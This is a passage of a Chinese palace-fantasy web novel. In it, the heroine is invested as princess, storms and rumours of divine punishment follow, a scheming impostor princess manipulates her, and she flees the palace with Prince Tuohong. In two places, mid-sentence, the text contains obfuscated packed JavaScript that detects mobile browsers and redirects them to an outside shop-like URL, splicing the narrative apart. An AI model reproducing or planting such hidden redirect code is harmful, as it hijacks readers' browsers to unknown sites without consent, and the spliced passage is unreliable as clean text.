老掌司慈爱地一笑,"公主,绾髻礼已毕,请公主更衣。"老掌司从小婢女手中接过典礼的盛装,双手呈献到跃然面前。瞬间,手执金羽花束的少女们齐齐站起,将跃然遮蔽在中央。 跃然看到身边的变化,噗嗤一笑,而后退去蔽体的锦缎,对老掌司说:"如此说来,这礼服,也该有些特殊的含义吧?"看到礼服考究的做工和礼服上的奇异图案,跃然好奇心大发。 "公主果真聪慧过人。这礼服的确有象征之意。"老掌司先托起一件纨质连衣衬裙给跃然穿上身,高声诵念:"束纨于身,素念于心,戒贪止欲,大公安民。"金羽花再次退去,老掌司捧起朱红色锦绫外裙,给跃然披上,念道:"披绫于身,血染丹心,肩负天下,大爱恤民。"随后,她给跃然系上一条明黄的竖纹金线束腰,"曦宇烁阳,辉耀万丈,苍生共系,和睦绵长。"最后,老掌司取过一条淡红底色的团锦绣绮罗给跃然罩在外衫上,伴随着礼乐最后一曲的高亢之音,颂道:"五行和韵,冥玄睦闻,曦宇净土,皓朗乾坤。" 老掌司俯身跪拜,庭院中一众宫人齐齐放下手中什物,行了三拜九叩的大礼。 "梳盥礼成,公主移驾轩辕台受封。"司仪官下令。宇文三兄弟起身上前,老掌司扶着跃然走出了金羽花瓣,将跃然的左、右手分别放在了宇文拓宏和宇文拓石手中。 跃然攥起了手,没有回头。她知道煦审年就站在门口,但她没有看他。拓石和拓宏同时握住了她的手。"跃然,莫怕。"他们几乎同时说。 从茗轩宫到轩辕台,只有二十分钟的路程。一路上鲜花铺地,满眼的姹紫嫣红。跃然被拓石和拓宏搀扶着,一步步平稳地走到了轩辕台下,走到了曦宇国文武百官的面前。 百官一阵惊叹。这么美的女孩儿,身着精致的公主礼服,犹如一只振翅欲飞的火凤凰,翩然,婉然。宇文轩站在轩辕台上,眯着眼笑看着一切。他的目光扫过台下时,在拓夏身上停了一瞬。 拓夏站在百官前列,穿着一身淡紫色的宫装,发间簪着一朵淡紫色菊花。她站在拓云身边,神情乖巧而天真,每当有官员向她行礼问候,她便微微颔首还礼,姿态温婉得体,像极了一个大病初愈后初登大典的公主。 但宇文轩注意到,她的目光始终没有落在跃然身上——不是不在意,是刻意避开。真正不在意的人不会刻意避开。而此刻,正从她身边经过的跃然也没有看她一眼。两个女孩擦肩而过时,空气中那股极淡的菊香忽然浓了一瞬,又迅速消散了。 宇文轩收回目光,抬手示意。司仪官高声道:"请熙坤王、熙远王护送公主步上轩辕台!" 拓石和拓宏同时收回了搀扶的手,退后跃然三步,伸手请跃然先行。 轩辕台共有八十一级台阶,象征着万物归一,是曦宇国最尊贵的神台。跃然一步一步走上了艳红色花瓣铺就的台阶。每走一步,她都能感觉到身后有人在看她。拓宏站在台下,煦审年守在远处,拓夏立在百官之中。她谁也没有回头看。 登上轩辕台,跃然按律朝着雨虹山方向行了虔贯大礼——双手合十放在胸口,双膝跪地,跪着向后退行三步,双手划过面颊直至双耳,再原路返回在唇部交叉后双手伏地,最后三叩首。 跃然行过虔贯礼后,宇文轩亲自将她搀扶起,又亲手将自己的诏书交给宇文拓石宣读。宇文拓石亦跪施了虔贯大礼,而后接过圣旨宣读道: "承苍宇之德,奉苍生之托,今我曦宇,民安国富,国运兴旺,此乃盛世之兆。恰逢近日,朕自民间喜得义女,此女聪慧可人,卓然超群,乘此良辰吉日,赐封其为异姓公主,特此昭告天下。此公主封号熙悦,以彰我国熙和之盛世;赐姓曦宇,以表我臣民忠国之决心;名唤悦然,以喻我百姓愉悦安然之福祉。愿熙悦公主上禀国恩之浩荡,下承民心之忠良,常系社稷民生于心际,佑我曦宇,万世吉昌。钦此。" 宇文拓石话音刚落,只听得轩辕台下一片跪拜之声:"吾王清睿,曦宇吉昌!公主熙悦,盛世纳祥!" 跃然俯视着叩拜的身影,一时有些恍惚。拓石合上圣旨,走到跃然身边,轻声对她说:"悦然,从此,你将命系曦宇,愉悦安然。" 跃然站在轩辕台上,风从高台之上掠过,吹得她发间那支鸣翠金羽步摇轻轻晃动。台下百官跪拜如潮,拓夏也在其中,煦审年守在远处,拓宏站在台下望着她。她收回目光,望着雨虹山的方向。 从今天起,她叫曦宇悦然。这个名分是宇文轩用来锁住她的笼子,但此刻,她却在这典礼的庄严中感应到了前所未有的归属感。 可归属感之下,扎着一根刺。那根刺名叫煦审年,名叫拓夏。它一直在。扎得她想要离开,又无处可去。 那天晚上到底发生了什么? 她还没问。她甚至不知道自己敢不敢问。但至少,她不再逃了。上一世她用一条命逃开了这个问题,这一世她决定带着它活下去。活在问题里。也许有一天,她会不知不觉地,活进答案里。 也许不会。 但此刻,她站在轩辕台上,风灌满她的衣袖,像是无数只手在托着她。她不回头。她往前看。雨虹山的方向,天际线被暮秋的薄云压得很低,云层后面有一线极淡的光,不知道是残阳还是晨曦。 拓宏站在轩辕台下,看着台上那个穿着朱红锦绫的身影。她没有看任何人,只是站在那里,像一只刚刚振翅的鸟。他不知道她想飞去哪里,但他说过——如果你想离开,我陪你。这句话他今天不会说第二次,但他会在心里记着,直到她需要的那一天。这想法似乎是长在他骨血里的,胜过自己看重过的一切,包括生命。 21. 逆乱重生 暴风雨结束后,你不会记得自己是怎样活下来的……但有一件事是确定的:当你穿过了暴风雨,你就不再是原来那个人。 ——村上春树《海边的卡夫卡》 受封大典的礼乐声还没散尽,莲京上空便聚起了乌云。 跃然从轩辕台上走下最后一级台阶时,风已经起来了。不是秋风,是一种从四面八方灌进来的、没有方向的邪风。礼乐师的乐器被掀翻了两架,铺地花瓣被卷起,四处飘散,百官的衣袍猎猎作响。 宇文轩站在台上看了一眼天色,眉头微蹙。 暮秋多雨,但这样的骤变,他活了五十多年没见过。 拓宏走在跃然身侧,没说话,只是在风起时微微侧身,替她挡了一下穿廊的冷风。 跃然皱眉,看向阴郁的天空中风暴酝酿处。只一眼——风暴眼如同畏惧般隐匿起来,风弱了。 她也感受到了风暴眼的畏惧,她似乎感应到了自己身上的某种力量。 在场的人只有关注跃然的人才看到了这神奇的一幕,其中包括宇文轩。 煦审年已经护在跃然身侧,站在了跃然和宇文轩中间,眸子却落在了台下隐隐得意的拓夏脸上。 一种厌烦油然而生。跃然没有再看任何人,径直走下轩辕台,回了茗轩宫。 煦审年追上来,却被拓宏拦住了。 第一日。 当夜,暴雨。 雨不是落下来的,是砸下来的。千万根铁针从天上直刺入地,宫墙外护城河一夜涨了三尺,城中低洼处的民房进了水,几棵百年老树被雷劈断了枝。 翌日清晨,雨停了。天没放晴,灰蒙蒙的云层压得极低,像一块铅板盖在莲京上空。 第二日。 雷暴。 闪电一道接一道地劈下来,炸雷像巨锤砸在王城头顶,震得屋瓦嗡嗡作响,宫中老弱的宫人被吓得整夜不敢合眼。 就在雷声最烈的时候,青岚的急报送到了。 驿马奔至宫门时口吐白沫,信使滚下马背,手中攥着一封被汗水浸透的密函。老宫人接过密函送到寝殿时,宇文轩还没起。 他展开密函,只看了一眼,脸色便沉了下去。 密函的封蜡上盖的是曦宇西境驻军的印信——青岚灭国之后,故土被周围几国瓜分殆尽,唯有曦宇出兵保住了青岚皇宫故地与方圆百里的灵脉核心。如今那片区域是曦宇在西境最远的飞地,也是唯一还能传出青岚消息的地方。 "传煦审年。" 片刻后,煦审年踏入寝殿。宇文轩没有递折子,只把密函推到案沿。 "看。" 煦审年拿起来,目光扫过第一行,眉头便拧紧了。他看得很慢——比他平时看任何军报都慢。 "皮肤浮现暗绿斑纹……像被抽干了生机……"他低声念出半句,没有继续。 "接着看。"宇文轩说。 煦审年翻到第二页,目光停住了。 "循化岛古木一夜之间全部枯萎……灵兽魂魄四散奔逃……浊气侵蚀……青岚皇宫故地已出现裂缝,浊气从地底渗出,留守驻军三日內咳血者过半……" 他放下密函,手指不自觉地按在纸面上,指节收紧。 宇文轩看着他:"你昨夜便说过,四极神器有异动。" "是。"煦审年的声音比平时低了一度,"东极。昨夜丑时,青岚方向的地脉震颤,像一根被拨断的琴弦,余波一圈一圈扩散。臣当时便推测是东极支脉断裂,但不确定是哪一条。" "现在确定了?" "循化岛的灵脉,正是东极支脉。"煦审年抬头看着宇文轩,"灵脉一断,浊气无制,三月之内青岚全境将被吞噬。若不修复,浊气会继续扩散——不止青岚,整个蔚魄大陆东境都在其蔓延范围内。那些瓜分了青岚土地的国家,怕是还不知道他们吞下去的不是肥肉,是毒。" 宇文轩没有接这句话。他的目光落在密函封蜡的印信上,沉默了一瞬。 曦宇当年力排众议保住青岚皇宫故地,朝中颇有人非议,说那是块食之无味的飞地,劳民伤财。如今看来,那步棋走对了——若不是那片飞地还在,这封密函连送出来的机会都没有。他们连青岚出了什么事都不会知道。 "你能修?" "臣必须去。找到断裂根源,才能修。" 宇文轩沉默了一瞬,点了点头。 "朕派太医随你同去。" "来不及了。臣一人先行,太医随后。" 煦审年将密函折好收入袖中,没有说"臣请旨",也没有等宇文轩点头。他转身便走。 走到殿门外时,他停住了。 他想起夏玉阁里那个女孩。 他不需要调查就知道她是谁。那双眼睛——他看了万年的眼睛,凤凰一族女仙之首的眼睛,他在天界有过万年婚约的神女的眼睛。居高临下的温柔,把所有人当棋子来摆布的从容,一万年了,一点没变。 倩婷。 她用忆魂术褪了大半仙力换来转世,又花了三年修补拓夏损毁的肉身。她来这里不是为了做公主——她来这里是为了他。 他应该转身。走回殿内,把一切都告诉宇文轩。 可他犹豫了。 她是假拓夏,但解药是真的。拓石的毒是她解的。不管出于什么目的,结果是拓石活了。如果宇文轩知道了真相,不会杀她,但会囚她。而余倩…… 他闭上眼,忽然闻到了一种气味——不是殿外雨后的泥土气,是一种更遥远的、不属于人间的冷冽香气。瑶池畔的霜莲花,她以前最爱那种花,每逢花开便折一枝别在鬓边,从后面唤他时,那香气便先一步到了。而他总是头也不回。 他记得有一回,她从后面唤他,他没有应。他只是走了。走了很远之后回过一次头——她站在瑶池的石阶上,鬓边的霜莲花被风吹落了一瓣,她的眼底有什么东西碎了一瞬,又很快被那种惯常的骄傲收拢回去。 那一瞬间的破碎,他看了万年,却从未回应过。 如今她做了错事,可那些错事的根,有一半是他种下的。是他当年的冷漠逼她走到今天。 他站在殿门外,背对着寝殿,手按剑柄。 走了又停,停了又走。脚步在门槛上碾了两个来回。 最终他没有转身。不是不想说,是没想好怎么说。 "臣回来再禀。" 这句话不知是说给宇文轩听的,还是说给自己听的。 然后他大步离开了。 几乎同一时辰,西境急报也到了。 信使是连夜翻山进来的,马死在宫门外,人还跪在殿上,声音沙哑得几乎听不清。 "凛锋三万铁骑分两路越境……烧毁村庄……强征矿工……鹤鸣关守军苦战两日,死伤过半——" 拓石在仁坤殿中收到军报时,雷暴正烈。一道闪电劈在殿外的铜柱上,白光把整座仁坤殿照得雪亮,紧接着一声炸雷震得窗棂哗哗作响。 他把军报看了三遍。然后唤来禁军副统领。 "西境现有多少驻军?" "鹤鸣关守军八千,周边各关隘驻军合计约两万。但分守各处,一时难以集结。" "集结令即刻发出。各关隘留最低守备,其余兵力十日内向鹤鸣关集结。另外——"拓石站起来,走到架前取下战甲。 战甲很沉。他大病初愈,双臂将甲衣从架上取下时,肩胛骨处传来一阵酸软的钝痛,像生锈的铰链被强行拧开。他咬着牙把甲衣披上肩,系束腰时手指微微发抖——不是怕,是身体还在适应那些新长出来的血肉,还没有完全记起一个战士该有的力气。 "传令莲京大营,点一万禁军随我西征。" 副统领一愣:"殿下要亲征?" "平定战乱本就是熙坤王的职责。"拓石把长枪从架上取下来,握枪的右手稳了下来——手不抖了。枪一入手,那些属于肌肉记忆的东西便苏醒了,"从前毒困身体,有心无力。如今毒解了,这份职责我必须担起来。" 出征前,他去了一趟宇文轩的寝殿。 宇文轩正在批折子,听见脚步声抬起头,看见拓石站在门口,一身战甲,长枪在手。 父子对视一瞬。 拓石没有进去,只是站在门外,抱拳行了一礼。 "父王,儿臣去西境。等我回来,还有话要问您。" 他没说是什么话。 宇文轩握笔的手微微一顿。他没有抬头,目光却从折子上移开,落在拓石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632085|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握枪的那只手上——指节攥得发白,虎口有一道旧茧,是长年握枪磨出来的。他看了一眼,又看了一眼,像是在确认那只手还有没有当年的力气。 然后他放下笔。 "去吧。" 两个字,很轻。轻到像是不敢说重,怕说重了就留住了。 拓石转身,大步走向城门。 宇文轩看着他的背影消失在殿门外的雨雾里,过了很久,才重新拿起笔。 笔尖悬在折子上方,一滴墨落下来,洇开了一片。 当日午后,雷声未歇。莲京大营点兵完毕,一万禁军列阵于北门校场,铁甲如林,长枪如麦。拓石骑马立于帅旗之下,战甲映着惨淡的日光,长枪横在鞍前。他没有说太多话,只一句—— "西境百姓等够了。出发。" 号角声撕开雷幕,大军开拔。 煦审年和拓石在同一天的雷暴中离开了莲京。 一个往东去青岚,一个往西去边境。 莲京的护卫力量一下子抽空了大半。 煦审年离开莲京的消息传到茗轩宫时,跃然正坐在枯樱下。 她没有去送他。她站在窗前,远远地看见他的身影消失在宫门转角——雷光映着他的背影,一闪,就没了。 他又走了。和她记忆中一模一样——在她需要他的时候,他永远是那个转身的人。 可这次不一样。这次她没有说"别走"。她甚至没有想让他留下。 她只是想——他这次走,是为了救那些快要死的人。那是他应该做的事。 她已经不需要他来救了。 第三日。 冰雹。莲子大的冰粒砸在屋瓦上噼啪作响,像是要把这座王城连同那些见不得光的秘密一起砸碎,砸得宫中侍女不敢出门,砸得街巷里连野狗都缩进了涵洞。 莲京的百姓慌了。 流言就是从这一天起来的。 没人知道它从哪张嘴里先说出来,但它像疫病一样一夜之间传遍了整座王城。 "那位新封的公主不是曦宇血脉,受了封,惹怒了天。这场异变,是天谴。" 说法越传越邪。有人说受封大典那日轩辕台上刮的邪风是凶兆,有人说跃然行虔贯大礼时雨虹山方向闪了一道黑雷,有人说茗轩宫枯樱树下的土裂了三道缝,每一道都朝着东方——亡魂归来的方向。 还有人说得更直白:"一个来路不明的孤女,占了公主的封号,曦宇的列祖列宗如何安息?老天爷如何不怒?" 宇文轩让人查过。查不出源头。每一个说这话的人都说是听别人说的,而那个"别人"永远找不到。它像水银泻地,无孔不入,又无迹可寻。 但宇文轩注意到了一个蹊跷之处——这些流言虽然传得满城风雨,却偏偏绕过了几处地方:拓石仁坤殿附近的坊市几无人议论,拓宏茗轩宫周边的巷陌出奇安静,连煦审年暂住过的偏院墙外,宫人们也三缄其口。仿佛有一只看不见的手,在撒网的时候刻意留下了几处空白——不去惊动那些真正有能力反击的人,只在市井与低阶宫人中发酵,让恐惧从最薄弱的地方开始蔓延。 他盯着案头的舆图,指尖在几处安静的坊市上轻轻叩击。 这不是普通的流言。普通的流言是野火,烧到哪里算哪里。这种流言是水,顺着地势往最低处流,专挑最容易被点燃的人心去浸透。 他知道有人在背后推波助澜。但他一时抓不到那只手。 而夏玉阁里,炉火烧得正旺。 铜壶里的水刚沸,咕嘟咕嘟地响,水汽裹着茶香在暖阁里打转,将窗外的雷声和冰雹声都隔成了一层模糊的底噪。博山炉里燃着安息香,青烟细细地升上去,散在暖黄色的灯火里,像一根根看不见的丝线。 她坐在窗前,一只手轻轻拨弄着茶盏的盖子,瓷与瓷碰出极细极轻的声响。 外面冰雹砸瓦的噼啪声,是流言在街巷中蔓延的嗡嗡声。里面只有水沸的声音,茶香弥漫的声音,和她嘴角那抹极淡极淡的笑意。 煦审年走了。拓石也走了。 莲京的护卫力量一下子抽空了大半。 她端起茶盏,吹了吹浮沫,饮了一口。 温度正好。 她等的就是这一天。 22. 逃脱牢笼 我不是鸟,没有罗网能罩住我。 ——夏洛蒂·勃朗特《简·爱》 煦审年和拓石走后的第二天,假拓夏来了茗轩宫。 她没有带点心,没有带茶,也没有带任何东西。她只是站在院子门口,笑着看了跃然一眼。 "姐姐一个人坐着?夏儿来陪姐姐说说话。" 跃然没有请她进来,也没有赶她走。她只是坐在枯樱下,看着眼前的空茶盏。 拓夏也不在意。她自己走到石桌对面坐下,双手托着下巴,像个小女孩一样歪头看着跃然。 "姐姐,夏儿有件事想问很久了——姐姐的眼睛,是天生的吗?" 跃然抬起头,无波无澜地看向余倩的表演。 "夏儿为什么这样问?"拓夏不等她回答,自己接了下去,"因为夏儿的眼睛也是这样的。小时候二哥总说,夏儿的眼睛像雨虹山上的湖,看一眼就能把人看进去。后来夏儿不在了——二哥再看谁的眼睛,都会愣一下。" 她顿了顿,语气像是在说一件无关紧要的小事。 "姐姐有没有注意过,二哥看你的时候,总是看你的眼睛?不是看别处,就是看眼睛。夏儿一开始也觉得奇怪,后来想了想就明白了——他在找。找夏儿。" 跃然的手在袖中慢慢蜷紧。 她想反驳。她想说不,他不是在找你,他看我的眼睛是因为——可她说不下去了。因为她不知道"因为什么"。她找不到一个笃定的答案。那些她以为属于她的瞬间——拓宏在驿站里看她的那一眼,替她挡风时微微侧过的脸,递给她糕点时指尖短暂的触碰——此刻都像被一只手翻到了背面,露出了另一副面孔:他看的不是她,是他丢失的妹妹的影子。 拓夏看见她攥紧的手,知道第一刀扎进去了。 第二刀。 "对了,姐姐——煦统领走的时候,跟姐姐告别了吗?" 跃然没有回答。 "没有吧?"拓夏叹了口气,"夏儿听宫人说,煦统领接到青岚的急报就走了,谁也没见。姐姐知道他为什么去青岚吗?" 她微微侧头,做出一副忧心的样子。 "夏儿的身体刚恢复,还需要一味药——千年并蒂雪莲——才能彻底痊愈。那味药只有青岚才有。煦统领这一去,说是为了给夏儿找药……" 她看着跃然的脸,声音轻下去。 "可他走得那么急,连跟姐姐说一声的工夫都没有。姐姐想想,他急着去青岚,到底是为了那些百姓,还是为了夏儿的药?不管为了哪个,都不是为了姐姐——姐姐心里,有没有一个答案?" 跃然的指甲掐进了掌心。 她想起上一世——沈煦也是这样走的。在她最需要他的时候,永远有更重要的理由。余倩的电话一来,他立刻起身,连头都不回。每一次都是。 这一世也一样。煦审年走得那么急,是因为拓夏需要那味药。不是因为她。 她算什么?她从来不是任何人留下来的理由。 第三刀。 "还有大哥。"拓夏的声音更低了,像是不忍心说,又不得不说。"大哥也走了,姐姐知道为什么吗?" 她低下头,眼眶微微泛红。 "大哥是不想见夏儿。夏儿刚回来那天,他来看夏儿,坐了不到一盏茶就走了。他看夏儿的眼神——"她停了一下,"不是高兴,不是难过,是不知道该怎么面对。" "大哥心里一定在想:夏儿回来了,那姐姐算什么呢?他最疼的妹妹回来了,后来疼过的那个,又该往哪里放?" 她叹了口气,语气里满是替拓石开脱的温柔。 "大哥是好人,他不想伤害任何人,所以他选了最简单的办法——走。走了就不用面对了。走了就不用在两个妹妹中间选了。" 她抬起头,看着跃然。 "可姐姐想想,他连面对都不敢面对的——到底是姐姐,还是夏儿?他最放不下的那个妹妹,到底是谁?" 跃然的嘴唇微微发白。 拓石走了。连面对都不敢面对就走了。她在仁坤殿里见过拓石一次,他看她的目光确实带着某种闪躲——她当时以为是愧疚,现在才明白,那不是愧疚,是不知道该怎么安放她的尴尬。她是一个多余的人,一个在他真正的妹妹回来之后就无处安放的人。 拓夏看着她的脸,把最后一把推出去。 "姐姐,外面的流言你也听说了吧?" 她的语气忽然变得体贴极了,像姐姐在安慰受了委屈的妹妹。 "夏儿替姐姐委屈呢。姐姐明明什么都没做,那些人却把天异怪到姐姐头上。" 她伸手轻轻碰了碰跃然的衣袖,指尖温热,带着一种近乎真诚的关切。 "可夏儿也没办法替姐姐辩白——毕竟,姐姐确实不是曦宇血脉。受了封,百姓心里不安,也是人之常情。" "如果姐姐愿意离开莲京一阵子,等天好了再回来,那些流言自然就散了。夏儿可以替姐姐在父王面前美言——姐姐只是暂避风头,不是不回来了。煦统领回来,夏儿也会替姐姐解释的。姐姐放心。" 她说得极为体贴。每一个字都像是在为跃然着想。 可每一个字都精准地扎在同一个伤口上—— 你不属于这里。他们都不在乎你。你走了,一切就好了。 她站起身,拍了拍裙上并不存在的灰,恢复了那种乖巧天真的笑容。 "姐姐若是想走,夏儿不会拦。姐姐若是想留,夏儿也会好好待姐姐——毕竟,姐姐长得确实有几分像夏儿呢。" 她走到院门口,停了半步,没有回头。 "对了,姐姐可能还不知道吧。二哥的生辰,也是他母王的祭日。每到这一天,他都会把自己关在屋子里,谁也不见。姐姐猜猜,他在那一天唯一能走进他寝殿的人是谁?" "是夏儿。" "这几年夏儿不在,他只能一个人待着。以后,夏儿可以陪他了。" 淡紫色的身影消失在院门外。 跃然站在枯樱下,很久没有动。一阵风过,枯樱的枝丫发出一声极轻的脆响,像是某种东西彻底断裂了。 三刀。刀刀不见血,刀刀都见骨。 第一刀告诉她,拓宏看她的眼睛是在找别人。第二刀告诉她,煦审年匆匆离去是为了别人的药。第三刀告诉她,拓石的逃避从来不是因为她。 三刀过后,她连生气的力气都没有了。因为最可怕的不是有人害你,是你发现那些刀之所以扎得那么准,是因为你自己心里早就有了那些伤口——她只是替你掀开痂,让你看见底下一直没有长好的肉。 她只是一个替身。她这辈子最擅长的,就是做替身。 上一世她是余倩的替身,余倩在她背后笑了四年,她不知道。这一世她是拓夏的替身,拓夏站在她面前亲口告诉她,她还是最后一个知道的人。 她以为沈煦是爱她的,结果他的床上躺着别的女人。 她以为拓宏是真心护她的,结果他护的不是她,是她这双长得像拓夏的眼睛。 煦审年连一声告别都没有就走了——去给拓夏找药。他走得那么急,是因为拓夏需要那味药,不是因为跃然需要他留下来。 拓石连面对都不敢面对就走了。 原来从头到尾,她都不是被爱的那个。她只是一个容器,一个影子,一个别人用来盛放思念的工具。不是一次。是两次。是每一次。 宫墙外传来侍卫换岗的脚步声,压低声音的闲谈飘进来——"……天谴……不是曦宇血脉……走了就好了……" 她低下头,看着掌心上那道早已愈合的疤痕。 她曾经用死来抗议这个事实。这一次,她不想死了。她只是累了。 累得不想再问为什么,不想再讨公道,不想再争谁对谁错。她只想走。 离开这座王城,离开这对兄妹,离开所有让她觉得自己不值得被爱的人。 如果她走了,那些流言真的会停,莲京的百姓真的会安生——那她走就是了。 她这辈子最擅长的事,不就是替别人着想然后自己退场吗? 拓宏推门进来时,看见的就是这一幕。 她独自站在枯樱下,背对着门,头微微低着,双手垂在身侧。没有握拳,没有发抖,只是垂着。 枯樱的枝丫在她头顶伸展,光秃秃的,连一片叶子都没有。她站在那片枯枝的阴影里,像是从树上掉下来的一截断枝,还没来得及生根,就已经被风吹干了。 他什么都没问。宫中的流言他也听见了,知道那不是天意,是人为。 "跃然。"他叫她的名字,声音比平时轻。 她转过身,看着他。 "拓宏,你对我这么好,是因为我长得像拓夏吗?" 拓宏愣住了。 瞳孔剧烈收缩了一下,嘴唇微微张开,又合上。没有辩解,没有解释,只是站在那里,手垂在身侧,攥得指节泛白。 他想说他不是,可他没有底气。 他在驿站里第一次看见她时,确实想起了拓夏。他看她穿那身水绿衣裙时,那一瞬间的恍惚确实是因为拓夏。他不知道这是不是爱。他不知道他对她的感情里有没有对拓夏的亏欠在作祟。他自己都分不清。 他怎么解释? 跃然看着他沉默的样子,忽然笑了一下。那笑意很淡,像被人反复碾过的旧纸,已经没有任何韧性了。 "你不用回答。我都知道了。我不是在怪你。" 她深吸一口气,抬起头。 "拓宏,我要走。你能帮我出城吗?" 他没有说话,只是看着她。 "只是帮我出城就好。"她把话说得很清楚,"流言因我而起,我走了,莲京就安生了。你不必跟我一起——你是熙远王,你留在这里。" 拓宏看着她,沉默了几息。 然后他说:"我随你同行。" 跃然一愣。"什么?" "非只出城。我陪你走。" "你——"跃然张了张嘴,"你知道你在说什么吗?你是熙远王,你走了,这个位子怎么办?" "那个位子,我本无意于它。"拓宏的声音很平,像是在说一件他想过很久的事,"我乃青岚人。我母王为青岚之主。曦宇王位,乃父王所赐,非我与生俱来。可坐,亦可不坐。" 他顿了一下。 "我有我自己的国。青岚尚在等我。迟早有一日,我要回去,替我母王报仇雪恨,将那些人瓜分之土尽数夺回。但今时机未至,尚非其时。" 他看着跃然的眼睛。 "然此并不妨碍我陪你走这一程。" 跃然没有说话。她不知道该怎么接这句话。 拓宏往前走了一步,离她近了一些。月光从枯樱的枝丫间漏下来,落在他的脸上,他的眼睛很亮——不是那种热烈的亮,是一种安静的、沉淀过的亮,像深山里一潭不见底的泉水。 "我居曦宇宫中十余载,从未觉此处有半分家之感。"他说,声音很低,低到像是在自言自语,"王城虽大,宫殿虽众,却无一间屋中灯火是为我而留。我来曦宇那日,我便知晓——我为客,在此处永远是客。" 他垂下眼睛,安静了一瞬。 "可你替我擦背上那些疤的时候,我头一遭觉得……有人心疼我。" 跃然微微一怔。 "梧叔心疼我,我自是知晓。母王亲随众人心疼我,我也知晓。可他们心疼我,皆因我是少主,是他们誓死守护之人。唯你不同。你心疼我,非因我是什么人,只因那些疤——你觉得疼。" 他抬起头,看着她。 "那是我活了十几年,头一遭被人这般心疼。非出忠义,非出职责,只是心疼罢了。我那时便想,这个人,我记下了。" 跃然的嘴唇动了动,没有说出话来。 "还有一事。"拓宏的声音更低了,"那日在冶院,我昏迷不醒,已然毫无生机。是你以紫晶砸向他——若非你那一砸,只怕我这条命早已不保。更不必说,你竟要求魅绝殇必须救活于我。若非你,我恐早已殒命于冶院之中。" 他看着跃然的眼睛,目光沉稳而笃定。 "此乃救命之恩。你不求我还,但我心知——你我之命,早已系于一处。" 跃然想说那不算什么,她当时只是本能反应,没有想那么多。可话到嘴边,又咽回去了。因为她看见他眼里的东西——不是亏欠,不是偿还,是一种比那些都更深更沉的东西。 像是漂泊了很久的人终于找到了一个可以停下来的理由。 "你来到这世上,举目无亲,"他说,"我如今亦然。我母王不在了,青岚一族只剩梧叔他们几个,在这座王城里,我与你一般,是孤零零的一个人。" 他伸出手,没有碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632086|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,只是伸到她面前,掌心朝上,像是在接一片可能落下也可能不落的叶子。 "你我彼此作伴,不好么?" 跃然看着他伸出的手。 那只手很大,掌心有茧,指节粗粝,手背上横着几道旧疤——那是一个从六岁起就握刀刀剑操练的手,是一个在深宫里躲了十年的手,是一个替她挡过风、上过药、骨裂寸断却从来不说自己疼的手。 她没有立刻握上去。 "你值得吗?"她问,声音很轻,轻到像怕惊动什么,"你为了我走,值吗?" 拓宏没有收回手。 "我六岁那年,梧叔带我上山历练。下山时遇狼,梧叔将我推至身后,自持柴刀与狼搏命。后来狼退,梧叔腿上被生生撕去一块肉。我问他为何如此,他说——''因你是主上。''" 他顿了一下。他看着她,沉默了很久。久到跃然以为他不会回答了。然后他才开口,声音很轻,却字字清晰:“心里有,便值。心里无,纵有天下江山,亦不值。" 他看着她。 "我随你走,非因你是谁。只因我心里有你。你值不值,我说了算。" 跃然没有说话。 风从枯樱的枝丫间穿过来,带着深秋最后一点凉意。她站在那里,看着他的手,看着他的眼睛,看着月光在他脸上投下的那片安静的阴影。 她忽然觉得——这个世界上,只有一个人在她问"你值得吗"的时候,回答"心里有,便值"。 她伸出手,握住了他的手。 他的掌心很粗糙,但很暖。恍惚间竟不似一个十几岁的少年。 "好。"她说,声音很轻,"那走吧。" 他们没有惊动任何人。 拓宏带她走了一条他很多年前就知道的路——穿过茗轩宫后院的假山,从一条废弃多年的地下暗道出宫。这条暗道是梧苒当年住在茗轩宫时悄悄留的,她说万一有一日她想家了,可以偷偷溜出去看樱花。 她没有用上。她的儿子用上了。 暗道又窄又长,两人只能一前一后走。拓宏在前面举着火折子,跃然跟在身后,脚步声在石壁间回荡。 从暗道出来时,天已经黑了。 跃然回头看了一眼身后那座灯火通明的王城。然后转回头,没有再回头。 老槐树下,梧叔已经等在那里。 他穿着一身寻常百姓的灰布短褐,肩上扛着两只包袱,旁边还停着两辆推车。看见拓宏出来,他无声地弯了弯腰,把包袱递过来。 "主上,都备好了。度弈、干粮、粗布衣裳各几套、一柄短刀。车上的东西够撑一阵子。" 拓宏接过包袱。 梧叔没有动。他站在那里,嘴巴张了张,又合上了。 拓宏看着他。"说。" 梧叔低着头,声音压得很低:"主上,属下斗胆……宫中局势未明,拓夏公主真伪未辨,西境战事正酣——主上若此时离开……" 他说到一半,停住了。不是不想说,是不敢再说。 拓宏看着他。 "梧叔,你怎么看?" 梧叔一愣。拓宏很少这样叫他,在旁人面前永远叫"冲庭"。这一声"梧叔",是在回应一个更老的问题——一个从母王那一代就留下来的问题。 "属下……属下觉得主上不该走。"梧叔的声音更低了,"但属下也知道,主上若不走,日后会恨自己。" 拓宏没有说话。 梧叔抬起头,看了他一眼,又迅速低下去了。那一眼里有很多东西——有不解,有担忧,有忠心,还有一丝说不出口的委屈。他跟着拓宏十几年,从边境的深山跟到莲京的深宫,从来没问过主上为什么,主上也从来没让他失望过。 可这一次,他不懂。 